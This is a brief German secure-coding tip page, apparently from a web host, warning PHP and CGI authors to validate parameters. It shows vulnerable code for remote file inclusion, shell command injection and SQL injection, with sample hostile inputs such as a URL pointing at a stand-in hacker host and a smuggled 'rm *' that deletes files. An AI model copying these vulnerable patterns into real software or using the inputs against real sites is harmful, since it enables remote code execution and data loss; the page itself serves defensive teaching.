|
|
Sicherheit bei CGI- und PHP-Programmen Sie sind für die Sicherheit Ihrer Scripte selbst verantwortlich. Hier einige Hinweise zur sicheren Programmierung Sie müssen grundsätzlich alle übergebene Parameter prüfen - am besten mit regulären Ausdrücken. - Folgender PHP-Code dürfen Sie nur verwenden, wenn Sie sicher sind, dass in der Variable $id auch das drin steht, was Sie erwarten: include ($id . "/xyz.php"); Ansonsten kann man mit dem Aufruf mein_script.php?id=http://www.hacker.com beliebigen PHP-Code von fremden Servern ausführen. Ähnliches kann passieren bei: print system("/bin/whois " . $domain); Diese Zeile ruft das whois-Programm auf dem Server auf um den Inhaber einer Domain zu ermitteln. Da aber die Variable $domain als Parameter übergeben wird, kann man natürlich auch folgendes machen: whois.cgi?domain=ganz-egal;rm+* das + wird im CGI durch " " ersetzt, was folgende Anweisung ergibt: /bin/whois ganz-egal;rm * womit alle DAteien Ihrer Präsenz gelöscht werden !.. Auch in SQL-Anweisungen ist ähliches möglich: "SELECT * FROM tabelle WHERE ID=$id" ... Auch hier muss man wieder prüfen, ob in $id auch wirklich nur eine ID steckt, sonst kann man beliebigen SQL-Code ausführen. |
|